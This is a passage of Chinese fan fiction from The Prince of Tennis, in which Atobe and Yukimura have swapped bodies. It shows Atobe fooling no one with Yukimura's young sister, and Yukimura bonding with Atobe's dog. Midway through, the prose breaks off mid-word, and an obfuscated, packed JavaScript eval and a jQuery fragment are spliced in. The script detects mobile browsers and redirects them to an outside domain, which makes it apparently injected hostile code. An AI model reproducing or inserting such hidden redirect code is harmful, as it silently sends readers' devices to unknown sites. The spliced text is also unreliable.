小不点儿一头蓝紫色的长发,因为要睡觉自然的散在肩膀上,头发微卷,白嫩嫩的包子脸,蓝紫色的眼眸清澈明亮,此刻这张包子脸皱在一起,似乎遇到了什么纠结的事。


    这小不点儿长得倒是可爱,迹部看着看着突然有点羡慕幸村了,这家伙的妹妹可比他讨喜多了。


    “小知世,怎么这么晚不睡觉?”迹部蹲下身,试图跟她拉近点距离。


    知世睁着圆溜溜的卡姿兰大眼睛盯着迹部看了又看,小手搅着衣角,半晌才嗫嚅着说:“我要哥哥。”


    迹部努力学着幸村那样笑,“哥哥在这里啊。”


    知世摇摇头说:“不是,你不是哥哥。”


    迹部心头一跳,这小不点儿那么丁点大,倒是比那些大家伙还聪明。


    “你看清楚了,我哪儿不是哥哥?”迹部觉得也是奇了,幸村精市他妹妹怎么那么聪明,这一点倒是跟他一模一样的。


    知世看着那张脸只是摇头,“我要哥哥。”


    迹部觉得没有哭唧唧的,那是不是有机会接近一下,他伸出的手掌又往她面前递,“要哥哥给你讲故事吗?”


    小知世盯着那张跟哥哥一样的脸但不是哥哥的人,她歪着头有在很努力的思考,她可以跟他玩儿吗?


    迹部觉得没有女孩子能拒绝他的魅力,小知世摇头,“不行,哥哥说不能跟不认识的人走。”


    ……


    迹部觉得哦哟,小不点儿聪明得很呐,“我是哥哥,不是别人。”


    “你不是。”


    眼看面前的小姑娘笃定的样子,迹部觉得也是奇了,怎么她那么肯定。


    “哦,我不是哥哥,那你说哥哥去哪儿了?”迹部来了兴趣,逗逗她,这种小包子意外的不招人烦。


    ”不知道,哥哥是不是嫌我烦不喜欢我了?”小知世低着头有些沮丧,为什么哥哥突然就不见了呢?


    迹部抬手在小不点儿的脸颊上捏了捏,“给你讲童话故事好不好?”


    “可是哥哥从来不跟我讲故事的。”小知世一句话结束了对话。


    迹部觉得眼前这小不点儿说话也太直击心灵了,她说幸村精市不给她讲故事,“不给你讲故事,那哥哥真是太可恶了。”


    小知世立马维护幸村,“才没有呢,哥哥是天底下最厉害的人,他会教我画画、打网球,我们才不讲故事呢,哥哥说了童话故事那是骗小孩儿的。”


    迹部觉得遇到对手了,这小姑娘讲话怎么跟幸村精市都那么像,真不愧是他妹妹。


    “画画多没意思,教你弹钢琴好不好?”迹部觉得他画画可能一般,弹钢琴那可不是一般的厉害。


    知世两只小手叉着腰,傲娇的说:“不喜欢,喜欢画画。”


    迹部又一次败下阵来,眼前这小不点儿总让他幻视幸村本人在他面前。


    “那我们看画好不好?”迹部难得耐心十足的哄小孩儿,半点没有不满或者烦躁。


    知世听到看画眼睛一亮,“好啊。”


    迹部就看知世率先往他,不对,是幸村精市的房间去了,他跟在后面,她自己熟练的从他房间的书架上拿出一本画册,边翻边指着上面的画说:“我哥哥画的,漂亮吧~。”


    那语气骄傲得很,看着那张脸上的笑迹部随意瞟了一眼画纸,别说幸村精市这家伙的手确实是厉害,果然跟他一样是为数不多的什么都能做好的人,他抬手拨了拨脸颊边的发丝,颇有些傲娇的说:“还行。”


    “你才不懂呢,这是哥哥生病的时候画的,要是哥哥没有生病他一定会是天底下最~厉害的人。”知世不喜欢有人说哥哥坏话,哪怕没有恶意也不行。


    迹部抬手摸了摸她的脑袋,“哥哥的画就那么好看?”


    知世认真的点头,脸上都是对哥哥的崇拜,“那当然啦,不过你到底是谁,把我哥哥藏哪里去了,快还给我?”


    迹部看着敏锐的小孩儿,他还是不明白她怎么就那么确定他不是她哥哥,“你凭什么说我不是你哥哥?小孩子家家的可不能乱说话昂。”


    知世盯着他的脸看了半天,“除了脸跟我哥哥一模一样,其他都不一样,哥哥从来不像你这么说话,也不会很夸张的笑,他经常画画身上或者手上偶尔会带有没有洗掉的颜料,更何况他每天有一半的时候在练习,剩下的时间会看画集或者画画,这些你都没有,你肯定不是我哥哥。”


    迹部挑了挑眉,小家伙洞察力挺强,“我就是想换风格了不行吗?”


    “不,哥哥生病之后就变得更严格了,虽然也会笑可总是严厉的还带着他自己都不知道的严肃。”知世努力回想着脑海里的哥哥,没错,哥哥最近就是变了。


    听到知世的话,迹部哑然,忽然想说的话就说不出来了,那种如鲠在喉的感觉让他很不爽,“哼,我把你哥哥吃了,你再也别想见到他。”


    “切,都说了那是骗小孩儿的,我才不信,你们是不是在玩儿什么变装游戏?”知世好奇的看着迹部,她想问能不能带她一起玩儿。


    “回去睡觉,明天还要上学。”迹部看着鬼灵精的小姑娘,她撇撇嘴,“不能带我一起玩儿吗?”


    迹部一把抱起她就给她抱回她自己的房间去了,她凑在迹部的耳边小声说:“你让哥哥放心,我会帮你们保密的,哥哥要是这次偷溜出去玩一圈回来会变得真正开心起来就够了。”


    说完知世就转身进了自己的房间,这个假扮哥哥的人不坏,哥哥回来的时候应该会变回以前那样随性自在吧。


    看着关上的门,迹部脑海里回荡着知世的话,稚嫩的童音里都是期盼,他盯着那些画,忍不住在想幸村精市要是没有生病,现在他是什么样呢?整个国中届再无敌手?还是已经成了职业选手?


    那些画明明看着是花卉绿植生机盎然,可迹部怎么看里面都透着一股寂寥和萧瑟,那种树叶枯黄落了满地即将迎接冬天的到来,视线移到正在翻画的手上,那只手还有手心的茧子,生病时他是怎样的心情呢?


    那种感受他无法体会,但他明白珍视的东西被开玩笑一样的夺走,会很痛,像是感应一样,迹部觉得他浑身的肌肉都不受控制的无力,整个人瘫在沙发上。


    手机这时候忽然响了起来,啧,真是太不华丽了,嫌弃的看了一眼那些画,迹部才弯腰把手机拿到手里,看着来电显示,他随手接起电


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444804|184137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话。


    迹部宅偌大的书房里幸村正在跟迹部的狗狗Peter互相试探,幸村一进入书房它就跟在他腿边一起进来,本来以为它会冲着他叫,但意外的是它今天很安静,只是乖巧的匍匐在地上,变成迹部要学习东西反而变多了。


    迹部的那些财报他一概没碰,但属于继承人的课程他都去了,击剑课还有那些社交礼仪的,他学得快但也不代表他喜欢,只有晚上这个时候他才能松口气。


    脚边的Peter似乎习惯了他的不一样,安静的陪着他,偶尔会用脑袋蹭蹭他的腿,桌面上的那些商业案卷让他头都大了,他疲惫的揉揉眉心,蹲下身摸了摸Peter的头,“你知道我不是他,一直跟着我是想等他回来吗?”


    Peter嗷嗷叫了两声,然后脑袋在他手心蹭了两下,幸村也不知道该跟谁聊聊干脆一人一狗就那么聊起来了。


    “原来你的主人也并不轻松,平时那么张扬臭屁,原来他的生活都被各种各样的事情塞满了,真不知道他会不会觉得烦。”幸村自顾自的跟Peter聊天,他最近越来越怀念跟弦一郎他们待在一起的日子了。


    “为了不让人发现破绽感觉自己变得很奇怪,迹部这家伙高调的生活真不知道他是怎么坚持的,你说他是有什么明星关注症吗?”幸村很认真的问Peter,它只是又抬起头蹭蹭他手心。


    幸村忽然笑了,两只手捧着Peter的狗头揉了揉它的脑袋,“感觉他这样的生活也蛮有意思的,就是好~累~哦~”


    好累他拉长了调子,Peter忽然嗷呜了一声,然后凑上来在幸村的手掌心舔了一下,他摸着Peter的大狗头说:“他也很不容易,对吧?要守护和背负的也很多。”


    Peter不语只是一味地蹭他的手,幸村叹了口气,不知道是想到了什么,Peter像是察觉到他的心情变化狗头又开始蹭他的腿,幸村低头摸摸它的头安抚它也是在安抚自己。


    幸村环视一圈,密密麻麻的行程和学不完的课程,还有永远处理不完的事情,迹部的生活好像永动机一样得时刻保持着高强度的集中力和旺盛的精神力,原本以为他这样的少爷至少会过得比他们轻松,原来各有各的烦恼。


    华丽张扬的国王背负着继承人的使命,为了自己的热爱付出比常人更多的努力和孤独,想到这里幸村愣住了,他居然开始理解迹部了!


    这一认知让他有些怔忡,他向来的准则是:未经寒冬,哪知春暖。没有经历过怎么能体会到别人的痛苦,安慰对他来说成了一种习惯,一种不需要却总有人在说的习惯。


    他站起身思考着自己是否也该活得张扬一点,生病以后再也没有人能轻易靠近他,这短短的时日里他觉得很有意思的同时也觉得他喜欢这样的张扬。


    修长的手指抚上Peter的脑袋,“给你的主人打个电话吧。”匍匐在地上的家伙直起脑袋,眼睛就那么看着幸村,“哦呀,听懂了吗?”


    幸村拿起另一边茶几上的手机,打开就看到一条信息,来自迹部的吐槽和抱怨,他感觉自己已经看到迹部暴躁又隐忍的样子了,随手拨通了电话,他脸上的笑意丝毫未变。